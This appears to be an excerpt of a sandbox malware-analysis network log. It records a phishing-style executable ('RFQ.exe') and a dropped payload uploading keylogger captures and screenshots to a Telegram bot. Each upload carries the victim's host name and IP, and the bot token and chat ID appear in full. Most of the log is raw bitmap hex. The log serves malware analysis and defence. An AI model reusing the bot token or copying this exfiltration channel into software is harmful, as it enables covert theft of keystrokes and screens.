2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:23 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49705	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:25 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 1591 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:25 UTC	1591	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 50 5a 43 61 56 68 4f 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataPZCaVhOs.txt"Content-Type: application/octet-stream[10:34:10]<<Program Manager>>[10:34:10]<<Program Manager>>[10:34:11]<<Program Mana
2025-03-11 14:34:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:26 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:26 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28156,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703666,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49706	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:25 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 1525 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:25 UTC	1525	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 45 70 47 49 6d 6f 55 76 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 31 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataEpGImoUv.txt"Content-Type: application/octet-stream[10:34:10]<<Program Manager>>[10:34:11]<<Program Manager>>[10:34:11]<<Program Mana
2025-03-11 14:34:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:26 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:26 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28157,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703666,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49707	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:31 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 74 44 72 44 52 68 59 4d 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshottDrDRhYM.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:31 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:38 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49708	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:31 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 76 73 69 6c 73 58 70 74 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotvsilsXpt.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 